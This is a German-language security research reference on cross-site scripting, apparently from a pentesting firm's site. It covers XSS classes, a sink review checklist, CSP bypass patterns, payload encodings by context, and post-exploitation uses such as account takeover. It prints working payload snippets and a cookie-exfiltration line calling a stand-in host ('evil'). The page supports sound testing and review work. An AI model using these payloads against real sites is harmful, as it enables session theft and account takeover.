---
title: "XSS — umfassende Referenz · VORNAC Research"
description: "Die vollständige XSS-Landschaft: reflected, stored, DOM, mutation. Sink-vs-Source-Strukturierung, CSP-/WAF-Bypass, Hook-and-Control-Muster und die Bedingungen unter denen Payloads wurmartig werden."
url: https://www.vornac.com/research/application-identity/xss-comprehensive
lang: de
published: 2026-06-02
updated: 2026-06-02
alternate_en: https://www.vornac.com/en/research/application-identity/xss-comprehensive
---

[Research-Index](https://www.vornac.com/research) / [2 · Anwendungs- & Identitätssicherheit](https://www.vornac.com/research/application-identity) / XSS — umfassende Referenz

Featured · [2 Anwendungs- & Identitätssicherheit](https://www.vornac.com/research/application-identity)

# XSS — umfassende Referenz.

Die vollständige XSS-Landschaft: reflected, stored, DOM, mutation. Sink-vs-Source-Strukturierung, CSP-/WAF-Bypass, Hook-and-Control-Muster und die Bedingungen unter denen Payloads wurmartig werden.

## Klassen

-   **Reflected.** Payload im Request, in selber Response reflektiert. Meist URL-Parameter oder Form-POST.
-   **Stored.** Einmal submitted, an viele ausgeliefert. Kommentare, Profilfelder, Admin-Notes, Log-Viewer.
-   **DOM-Based.** Payload erreicht Server nie; Client-JS liest aus `location.hash`, `postMessage` oder `document.referrer` und schreibt in gefährliche Sink.
-   **Mutation (mXSS).** Harmloses Markup mutiert zu malicious Markup beim Re-Parse (z.B. `<img src=x>` via innerHTML gesetzt, dann serialisiert und re-parsed → Namespace-Confusion).

## Sink-seitige Review-Checkliste

-   **innerHTML / outerHTML / insertAdjacentHTML.** Grep-Target. Wo User-Input dort fließt, default verdächtig.
-   **document.write / document.writeln.** Moderner Code sollte das nicht nutzen. Wo gefunden, XSS verdächtigen.
-   **jQuery `.html()`, `.append()`, `.prepend()`.** Semantisch wie innerHTML.
-   **React `dangerouslySetInnerHTML`.** Selbstbenennende Sink. Immer eskalieren.
-   **Vue `v-html` / Svelte `{@html}` / Angular `[innerHTML]`.** Gleiche Form, gleiches Risiko.
-   **Attribute-Sinks.** `setAttribute('href', x)` mit `javascript:`-URL; `setAttribute('on*', ...)` Event-Handler-Binding.
-   **eval, Function, setTimeout/setInterval(string).** Überall wo Strings ausgeführt werden.
-   **Template-String im Render-Pfad.** Server-Side Template Injection landet oft hier.

## CSP-Bypass-Muster

-   **JSONP-Endpoint in erlaubter Origin.** `script-src 'self'` + self-hosted JSONP-Endpoint = trivial aufrufbar als `<script src=/jsonp?callback=alert(1)//>`.
-   **Angular-Template-Injection.** CSP erlaubt das Framework-Bundle; Angreifer injiziert Angular-Template-Syntax, die das Framework auswertet.
-   **Dangling Markup.** Ungeschlossenes Attribut stiehlt folgendes HTML bis zum nächsten Quote — exfiltriert Secrets selbst wenn Skripte blockiert sind.
-   **Base-Tag-Injection.** `<base href=//attacker>` injizieren → Relative-URL-Skripte lösen auf Angreifer-Origin auf.
-   **Strict-Dynamic mit Nonce-Reflektion.** Reflektierte Nonce in der Response = angreifer-kontrolliertes nonced Script-Tag.

## Payload-Encoding-Schnellreferenz

-   **HTML-Kontext.** `<svg/onload=alert(1)>` kompakt, keine Quotes nötig.
-   **HTML-Attribut (single-quoted).** `' onmouseover='alert(1)`.
-   **HTML-Attribut (unquoted).** `x onfocus=alert(1) autofocus`.
-   **JavaScript-String-Kontext.** `'-alert(1)-'` bricht aus Single-Quoted-String aus.
-   **JSON in Script-Kontext.** `</script><img src=x onerror=alert(1)>` bricht aus dem Script-Block aus.
-   **Strict CSP, keine Skripte.** `<img src=x onerror=fetch('//evil/?'+document.cookie)>` blockiert. `<iframe src='data:text/html,<script>...` oft blockiert. Dangling-Markup suchen.

## Post-XSS Use Cases

-   **Account-Takeover.** Session-Token aus `document.cookie` lesen (falls kein HttpOnly) oder Session-gebundene Action via fetch triggern.
-   **Interne Recon.** XSS als SSRF — fetch()-Calls auf interne URLs aus der authentifizierten Victim-Session.
-   **Persistenter Foothold.** Stored XSS in Admin-facing-Surface → triggert wenn Admin den Report öffnet → Admin-level privilegierte Action unter Angreifer-Kontrolle.
-   **Browser-als-Pivot.** XSS in Corporate-Intranet-App aus externem Referrer → interne Resourcen via authentifizierter Browser-Session fetchen.

**Faustregel**XSS immer an zwei Stellen beweisen: einmal mit nicht-destruktivem Payload (`alert(document.domain)` im Screenshot) und einmal mit Rezept, das der Entwickler gegen seine eigene Staging ausführen kann. Zwei Beweise = keine Diskussion ob real.

Domain

[2 · Anwendungs- & Identitätssicherheit](https://www.vornac.com/research/application-identity)

Stufe

Featured

Engagement-Phasen

XSSDOM-XSS

Veröffentlicht

2\. Juni 2026

Akronym nachschlagen?

[Glossar öffnen](https://www.vornac.com/glossary)

## Verwandte Notizen in dieser Domain

-   [Featured Gängige Web-Schwachstellen](https://www.vornac.com/research/application-identity/common-web-vulnerabilities)
-   [Featured Web — Angriff & Verteidigung kanonisch](https://www.vornac.com/research/application-identity/web-attack-defense-canon)
-   [Featured Injection, SSRF & XXE](https://www.vornac.com/research/application-identity/injection-and-traversal)
-   [Featured Authentifizierung, Logik & Architektur-Fehler](https://www.vornac.com/research/application-identity/authentication-and-logic)
-   [Referenz Server-Side-Sprachen — Java, PHP, SQLmap](https://www.vornac.com/research/application-identity/server-side-language-audits)
-   [Background Mobile-Plattform-Sicherheit — Android, iOS, macOS](https://www.vornac.com/research/application-identity/mobile-platform-security)

[Vorherige Notiz Web — Angriff & Verteidigung kanonisch](https://www.vornac.com/research/application-identity/web-attack-defense-canon) [Zurück zur Domain](https://www.vornac.com/research/application-identity) [Nächste Notiz Injection, SSRF & XXE](https://www.vornac.com/research/application-identity/injection-and-traversal)

Von der Referenz zum Befund

## Validieren Sie das in Ihrer eigenen Umgebung.
